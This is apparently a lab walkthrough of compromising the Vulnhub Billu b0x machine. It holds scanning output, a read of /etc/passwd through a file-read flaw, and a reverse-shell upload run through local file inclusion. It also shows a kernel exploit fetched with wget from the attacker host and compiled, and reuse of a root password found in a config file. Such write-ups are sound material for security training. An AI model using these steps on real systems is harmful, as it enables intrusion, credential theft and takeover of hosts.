Vulnhub Billu b0x
Billu b0x Vulnhub
Like always we start with a nmap scan
nmap -Pn -sS -sC -vv -T 4 -p- 192.168.1.135
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
We don’t have much. So the website it is.
Web server
We’ll send nikto
nikto -h 192.168.1.135
+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved x-powered-by header: testing only
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /in.php?returnpath=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /in.php?returnpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3092: /test.php: This might be interesting...
+ 8346 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2017-09-01 15:28:30 (GMT-4) (12 seconds)
-
Nikto found the /images/ folder and maybe the test.php
If we browse the website, we encounter a username and password input boxes. It tells us to test our sqli skills. We’ll send burp to testing it out while we’re doing manually.
Fuzzing web server for directories
dirb http://192.168.1.135
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Sep 1 15:42:00 2017
URL_BASE: http://192.168.1.135/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.135/ ----
+ http://192.168.1.135/add (CODE:200|SIZE:307
+ http://192.168.1.135/c (CODE:200|SIZE:1
+ http://192.168.1.135/cgi-bin/ (CODE:403|SIZE:289
+ http://192.168.1.135/head (CODE:200|SIZE:2793
==> DIRECTORY: http://192.168.1.135/images
+ http://192.168.1.135/in (CODE:200|SIZE:47549
+ http://192.168.1.135/index (CODE:200|SIZE:3267
+ http://192.168.1.135/index.php (CODE:200|SIZE:3267)
+ http://192.168.1.135/panel (CODE:302|SIZE:2469)
+ http://192.168.1.135/server-status (CODE:403|SIZE:294)
+ http://192.168.1.135/show (CODE:200|SIZE:1
+ http://192.168.1.135/test (CODE:200|SIZE:72)
---- Entering directory: http://192.168.1.135/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
192.168.1.135/in contains the phpinfo() contents
192.168.1.135/add seems to be a page where we can upload a file ?
192.168.1.135/test contains a page telling us “‘file’ parameter is empty. Please provide file path in ‘file’ parameter”
We could try to pass a parameter file and request /etc/passwd
curl -X POST --data "file=/etc/passwd" http://192.168.1.135/test.php
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/bin/sh
bin❌2:2:bin:/bin:/bin/sh
sys❌3:3:sys:/dev:/bin/sh
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/bin/sh
man❌6:12:man:/var/cache/man:/bin/sh
lp❌7:7:lp:/var/spool/lpd:/bin/sh
mail❌8:8:mail:/var/mail:/bin/sh
news❌9:9:news:/var/spool/news:/bin/sh
uucp❌10:10:uucp:/var/spool/uucp:/bin/sh
proxy❌13:13:proxy:/bin:/bin/sh
www-data❌33:33:www-data:/var/www:/bin/sh
backup❌34:34:backup:/var/backups:/bin/sh
list❌38:38:Mailing List Manager:/var/list:/bin/sh
irc❌39:39:ircd:/var/run/ircd:/bin/sh
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌65534:65534:nobody:/nonexistent:/bin/sh
libuuid❌100:101::/var/lib/libuuid:/bin/sh
syslog❌101:103::/home/syslog:/bin/false
mysql❌102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus❌103:106::/var/run/dbus:/bin/false
whoopsie❌104:107::/nonexistent:/bin/false
landscape❌105:110::/var/lib/landscape:/bin/false
sshd❌106:65534::/var/run/sshd:/usr/sbin/nologin
ica❌1000:1000:ica,,,:/home/ica:/bin/bash
root@kali:~/Vulnhub/billu_b0x#
Looks like we can fetch a file from the system.
http://192.168.1.135/in allowed us to get the phpinfo() information and we can see that the document root is located in /var/www/ we’ll fetch the files we know exist. Those files would be
-
add.php
-
c.php
-
head.php
-
index.php
-
panel.php
-
show.php
Web server files
Once we fetch them we found some good information
First the c.php contains the login to the database
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
index.php shows us the query to the database
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
We also have panel.php that shows us that it contains a upload form that only accepts images
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
SQLI
We now that how the login form is filtering our input.
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
It’s basically replacing our ’ with an empty string. URL encoding our input also does not work, but passing our apostrophe as HTML works. So using ' allows us to send a apostrophe.
After spending a considerable amount of time trying to bypass the login. I tried to look for more directories on the web server. We already found a few of them maybe there’s more if i use a bigger wordlist.
Dirb part 2
So sending dirb again this time with big.txt
dirb http://192.168.1.135/ /usr/share/wordlists/dirb/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 2 11:22:58 2017
URL_BASE: http://192.168.1.135/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.1.135/ ----
+ http://192.168.1.135/add (CODE:200|SIZE:307)
+ http://192.168.1.135/c (CODE:200|SIZE:1)
+ http://192.168.1.135/cgi-bin/ (CODE:403|SIZE:289)
+ http://192.168.1.135/head (CODE:200|SIZE:2793)
==> DIRECTORY: http://192.168.1.135/images/
+ http://192.168.1.135/in (CODE:200|SIZE:47549)
+ http://192.168.1.135/index (CODE:200|SIZE:3267)
+ http://192.168.1.135/panel (CODE:302|SIZE:2469)
==> DIRECTORY: http://192.168.1.135/phpmy/
--> Testing: http://192.168.1.135/secci + http://192.168.1.135/server-status (CODE:403|SIZE:294)
+ http://192.168.1.135/show (CODE:200|SIZE:1)
+ http://192.168.1.135/test (CODE:200|SIZE:72)
==> DIRECTORY: http://192.168.1.135/uploaded_images/
It found two additional directories, uploaded_images and phpmy.
Uploaded_images contained a bunch of pirates of the carribean images.
The interesting one is phpmy because it’s phpmyadmin and we already found the credentials to the database. We should be able to retrieve the logging to the login form with phpmyadmin.
We logging with billu:b0x_billu and look at the ica_lab databases.
We know the php form is looking at the auth tables to authenticate users.
If we browse it we find the username:password we were looking for
biLLu:hEx_it
Login page
Once we login, we brought to panel.php that doesn’t contain much beside the list of users. User 1 being Jack and user 2 being Captain Barbossa.
The dropdown menu allows us to add a user.
This allows us to upload a “image”. We know that the website tries to verify if the actual upload is an image because of the panel.php file.
If we look at the code we can see how the website is filtering the files.
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
pathinfo looks at the extension of the file. Also finfo looks at the mimeinfo of the file. That means that we’ll have to make sure that we have the right mime info at the beginning of our file.
We’ll use the php-reverse-shell found on http://pentestmonkey.net/tools/web-shells/php-reverse-shell
At the beginning of the file we’ll add GIF89a and modify the $ip and $port. We’ll rename the file to shell.php.gif
The file uploads but doesn’t get executed when load it up via /uploaded_images/ After trying a bunch of different ways i had to look for another way in.
LFI
So i decided to look at all the includes in all the files that we previously downloaded.
grep -i include *
grep: images: Is a directory
index.php:include('c.php');
index.php:include('head.php');
panel.php:include('c.php');
panel.php:include('head2.php');
panel.php: include($dir.'/'.$choice.'.php');
panel.php: include($dir.'/'.$choice.'.php');
panel.php: include($dir.'/'.$_POST['load']);
grep: shell: Is a directory
show.php:include('c.php');
The big flaw is found in
panel.php: include($dir.'/'.$_POST['load']);
Including a file that is passed by the user if a recipe for disaster. So using this we’ll send a POST to panel.php with the parameter load to include our shell.gig.php. We know that it’s located in /uploaded_images/ and that the website is located in /var/www/ in the system.
We’ll use burpsuite to modify the load parameter.
[img][Images/billu_LFI.png]
And we got a shell
ncat -nlv 443
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.1.135.
Ncat: Connection from 192.168.1.135:48016.
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
03:59:25 up 2 days, 3:10, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
PrivEsc
Like always we look at the kernel
uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
3.13 is pretty old. A quick searchsploit tells us it’s vulnerable to the overlay.fs exploit
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privilege Escalation | ./linux/local/37292.c
We transfer it and compile it.
$ wget 192.168.1.148/37292.c
--2017-09-04 04:19:40-- http://192.168.1.148/37292.c
Connecting to 192.168.1.148:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/plain]
Saving to: `37292.c'
0K ..... 100% 438M=0s
2017-09-04 04:19:40 (438 MB/s) - `37292.c' saved [5123/5123]
$ gcc 37292.c
$ ls
37292.c
a.out
$ ./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Yeah… That was too easy. I’ll look for another way to get root without an exploit.
PrivEsc2
We know that phpmyadmin is installed on the system. The files are located in /var/www/phpmy. The file that contains the configuration of phpmyadmin is called config.ing.php. If we look at it there’s some credentials in it.
cat config.inc.php
<?php
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
/* End of servers configuration */
$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';
?>
We can’t su because we don’t have a full tty, so let’s get one
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su root
su root
Password: roottoor
root@indishell:/var/www/phpmy# id
id
uid=0(root) gid=0(root) groups=0(root)
Another way to get root. Yeah…